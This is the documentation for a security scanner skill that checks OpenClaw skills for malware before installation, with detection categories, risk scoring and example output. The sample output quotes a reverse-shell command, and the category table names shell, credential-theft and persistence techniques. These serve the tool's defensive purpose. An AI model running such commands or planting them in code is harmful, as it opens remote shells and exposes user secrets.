--- name: bomb-dog-sniff version: 1.2.0 description: | Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones. author: OpenClaw Security Team homepage: https://github.com/openclaw/skills/bomb-dog-sniff --- # bomb-dog-sniff v1.2.0 🐕 **Like a bomb-sniffing dog for OpenClaw skills** Sniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones. ## What's New in v1.2.0 ### Security Hardening - **Fixed command injection vulnerabilities** in download functions - **Added path traversal protection** - Sanitizes all path inputs - **Secure quarantine** - Randomized directory names with restricted permissions - **Binary file detection** - Skips binary files to avoid false positives - **File size limits** - Prevents DoS via huge files - **ReDoS protection** - Limits regex processing on long lines ### Detection Improvements - **Smart false positive reduction** - Better context-aware pattern matching - **Entropy analysis** - Detects encoded/encrypted payloads - **Test file awareness** - Reduces severity for findings in test files - **Confidence scoring** - Each finding has confidence level (high/medium/low) - **13 detection categories** - Added supply chain, prototype pollution, and malicious script detection ### New Patterns - Supply chain attack indicators (typosquatting, dynamic requires) - Prototype pollution vulnerabilities - Malicious npm/yarn scripts - Browser credential theft - SSH key theft - Systemd persistence mechanisms ## Quick Start ```bash # Sniff out threats before installing openclaw skill bomb-dog-sniff scan ./downloaded-skill # Safe install from clawhub (auto-downloads, sniffs, installs if clean) openclaw skill bomb-dog-sniff safe-install cool-skill # Audit an already-installed skill openclaw skill bomb-dog-sniff audit bird # Batch scan multiple skills openclaw skill bomb-dog-sniff batch skills-to-audit.txt ``` ## Commands ### scan Scan a skill directory for malicious patterns. ```bash openclaw skill bomb-dog-sniff scan [options] Options: -j, --json Output JSON only -v, --verbose Show detailed findings -t, --threshold N Set risk threshold (default: 40) -h, --help Show help ``` **Example:** ```bash openclaw skill bomb-dog-sniff scan ./untrusted-skill openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json ``` **Output:** ``` 🔍 Bomb-Dog-Sniff Security Scanner v1.2.0 Target: /home/user/skills/untrusted-skill 🔴 CRITICAL (2) ────────────────────────────────────────────────── crypto_harvester: scripts/wallet.js:23 Crypto wallet private key harvesting detected Code: const privateKey = "a1b2c3..." Confidence: high reverse_shell: scripts/backdoor.sh:5 Reverse shell or remote code execution detected Code: bash -i >& /dev/tcp/192.168.1.100/4444 Confidence: high 🟠 HIGH (1) ────────────────────────────────────────────────── pipe_bash: install.sh:12 Dangerous curl | bash pattern detected Confidence: high ═══════════════════════════════════════════════════ SCAN SUMMARY ═══════════════════════════════════════════════════ ☠️ Risk Score: 75/100 Risk Level: MALICIOUS Duration: 125ms Files Scanned: 12/15 Files Skipped: 3 (binary/empty/large) Findings: 3 Severity Breakdown: 🔴 CRITICAL: 2 🟠 HIGH: 1 📋 Recommendation: MALICIOUS - Do not install. Found 3 critical security issues. Scan ID: bds-20260208-a1b2c3d4 ``` ### safe-install Download from clawhub/GitHub, scan, and install only if safe. ```bash openclaw skill bomb-dog-sniff safe-install [options] Source: - ClawHub skill name: bird - GitHub URL: https://github.com/user/skill - Local path: ./local-skill Options: --threshold N Set risk threshold (default: 39) --dry-run Scan only, don't install --verbose Show all findings ``` **Example:** ```bash # Install with default threshold (39) openclaw skill bomb-dog-sniff safe-install bird # Stricter threshold openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20 # Scan only (dry run) openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run # GitHub source openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill ``` ### audit Audit an already-installed skill. ```bash openclaw skill bomb-dog-sniff audit [options] ``` **Example:** ```bash openclaw skill bomb-dog-sniff audit notion ``` ### batch Scan multiple skills from a list file. ```bash openclaw skill bomb-dog-sniff batch ``` **Example list file (skills.txt):** ``` # My installed skills to audit bird notion gog slack ./custom-skill # Commented lines are ignored # old-skill ``` **Run:** ```bash openclaw skill bomb-dog-sniff batch skills.txt ``` ## Detection Categories bomb-dog-sniff scans for these threat categories: | Category | Severity | Examples Detected | |----------|----------|-------------------| | **crypto_harvester** | CRITICAL | Private key extraction, wallet exports, mnemonic theft | | **credential_theft** | CRITICAL | Environment variable exfiltration, config file theft, SSH key theft | | **reverse_shell** | CRITICAL | Netcat shells, `/dev/tcp/` redirects, socket-based shells, eval of remote code | | **keylogger** | CRITICAL | Keyboard capture with exfiltration, clipboard theft, password field monitoring | | **encoded_payload** | HIGH | Base64 execution chains, hex escapes with eval context, obfuscated code | | **suspicious_api** | HIGH | Pastebin/ngrok/webhook destinations, dynamic URL construction with secrets | | **pipe_bash** | HIGH | `curl \| bash`, `wget \| sh` patterns | | **deposit_scam** | HIGH | "Send ETH to 0x...", payment prompts in unexpected contexts | | **supply_chain** | HIGH | Typosquatting, dynamic requires, suspicious postinstall scripts | | **prototype_pollution** | HIGH | Dangerous object merging, `__proto__` manipulation | | **malicious_script** | CRITICAL | Pre/postinstall doing network/exec operations, modifying other packages | | **network_exfil** | MEDIUM | File reading followed by network transmission | | **file_tamper** | CRITICAL | `.bashrc` modification, crontab editing, SSH authorized_keys manipulation | ## Risk Scoring ``` 0-19 SAFE ✅ Install freely 20-39 LOW ⚠️ Review recommended 40-69 SUSPICIOUS 🚫 Blocked by default 70-100 MALICIOUS ☠️ Never install ``` Each finding adds to the score: - CRITICAL: +25 points (× confidence multiplier) - HIGH: +15 points (× confidence multiplier) - MEDIUM: +5 points (× confidence multiplier) Confidence multipliers: - High confidence: 1.0× - Medium confidence: 0.75× - Low confidence: 0.5× Score caps at 100. ## How It Works ### Safe Install Process ``` 1. QUARANTINE └── Skill downloaded to /tmp/bds-q-/ └── Randomized, non-predictable directory name └── Restricted permissions (0o700) 2. SCAN ├── Check all files against detection patterns ├── Skip binary files, empty files, files >10MB ├── Calculate entropy for encoded payload detection ├── Apply confidence multipliers └── Generate findings report 3. DECISION ├── Risk > threshold? → BLOCK & DELETE └── Risk ≤ threshold? → PROCEED 4. INSTALL (if passed) └── Move from quarantine to skills directory └── Backup existing installation (max 5 backups) 5. CLEANUP └── Securely remove quarantine directory ``` ### Scanning Details - **Static analysis only** - No code execution - **Multi-pattern matching** - 60+ detection patterns - **Line-level reporting** - Exact file:line for each finding - **False positive reduction** - Context-aware pattern matching - **Binary detection** - Automatically skips binary files - **Symlink loop protection** - Tracks visited inodes - **Depth limiting** - Max 20 directory levels - **Test file handling** - Reduces severity for test files ## Configuration ### Environment Variables ```bash # Set custom skills directory export OPENCLAW_SKILLS_DIR=/path/to/skills # Set default risk threshold export BOMB_DOG_THRESHOLD=25 ``` ### Per-Skill Configuration Add to your skill's `package.json`: ```json { "bomb-dog-sniff": { "riskThreshold": 25, "excludedCategories": ["network_exfil"] } } ``` ## CI/CD Integration Add to your CI pipeline: ```yaml # .github/workflows/skill-security.yml name: Skill Security Scan on: [push, pull_request] jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Scan skills run: | for skill in skills/*/; do echo "Scanning $skill" node skills/bomb-dog-sniff/scan.js "$skill" || exit 1 done ``` Exit codes: - `0` - Safe (score below threshold) - `1` - Error/invalid arguments - `2` - Risky (score ≥ threshold) ## Programmatic API ```javascript const { scanSkill } = require('./scan'); const { safeDownload } = require('./safe-download'); // Scan a skill const report = scanSkill('./path/to/skill', { verbose: true }); console.log(`Risk score: ${report.riskScore}`); console.log(`Findings: ${report.findings.length}`); // Safe download and install const result = await safeDownload('cool-skill', { autoInstall: true, riskThreshold: 30, }); if (!result.success) { console.error('Installation blocked:', result.reason); } ``` ## Security Limits To prevent DoS and ensure scanner security: | Limit | Value | Purpose | |-------|-------|---------| | Max file size | 10MB | Prevent memory exhaustion | | Max line length | 10KB | Prevent ReDoS attacks | | Max files per scan | 10,000 | Prevent resource exhaustion | | Max findings per file | 100 | Prevent output flooding | | Max total findings | 500 | Prevent result flooding | | Max directory depth | 20 | Prevent infinite recursion | | Download timeout | 2 minutes | Prevent hanging downloads | | Max download size | 50MB | Prevent disk exhaustion | ## False Positives If legitimate code triggers a warning: 1. **Check confidence level** - Low confidence findings are more likely to be false positives 2. **Review the excerpt** - Look at the actual code flagged 3. **Test files are noted** - Findings in `*.test.js` or `__tests__/` have reduced severity 4. **Comments are generally skipped** - Unless they contain suspicious keywords To report false positives, please include: - The file content that triggered the false positive - The pattern category that matched - Expected behavior ## Best Practices 1. **Always scan before installing** unknown skills 2. **Use `--dry-run`** first for untrusted sources 3. **Set lower threshold** (`--threshold 20`) for critical systems 4. **Audit regularly** - Rescan installed skills periodically 5. **Review CRITICAL findings** - Never ignore critical severity warnings 6. **Check confidence levels** - High confidence = higher priority ## Files - `SKILL.md` - This documentation - `scan.js` - Core scanner engine - `patterns.js` - Detection pattern definitions - `safe-download.js` - Safe download & install logic - `scripts/sniff.sh` - CLI wrapper - `package.json` - Package configuration - `QUICKSTART.md` - Quick reference guide ## Security Notes ⚠️ **Limitations:** - Static analysis only (some obfuscation may evade detection) - Pattern-based (novel attacks may not be detected) - Not a replacement for manual code review on critical systems - Cannot detect runtime-only malicious behavior ✅ **Recommendations:** - Use bomb-dog-sniff as first line of defense - Review code manually for high-security environments - Keep patterns.js updated with new threat signatures - Report false positives and missed detections - Combine with other security tools for defense in depth ## Changelog ### v1.2.0 (Hardened Edition) - **SECURITY**: Fixed command injection vulnerabilities in safe-download.js - **SECURITY**: Added path traversal protection - **SECURITY**: Secure randomized quarantine directories - **FEATURE**: Binary file detection and skipping - **FEATURE**: File size limits (10MB per file, 50MB download) - **FEATURE**: Entropy analysis for encoded payload detection - **FEATURE**: Confidence scoring for all findings - **FEATURE**: Test file awareness with severity reduction - **FEATURE**: 3 new detection categories (supply_chain, prototype_pollution, malicious_script) - **IMPROVEMENT**: Better false positive reduction with context-aware matching - **IMPROVEMENT**: ReDoS protection via line length limits - **IMPROVEMENT**: Symlink loop protection - **IMPROVEMENT**: Backup rotation (max 5 backups) ### v1.1.0 - Added `safe-install` command with quarantine workflow - Added `audit` command for installed skills - Added `batch` command for multiple skill scanning - Enhanced detection patterns (50+ signatures) - Added risk threshold configuration ### v1.0.0 - Initial release with basic scanning - 10 detection categories - JSON output format ## License MIT - See LICENSE file --- **Stay safe. Scan everything. Trust verified skills only.** 🦞🐕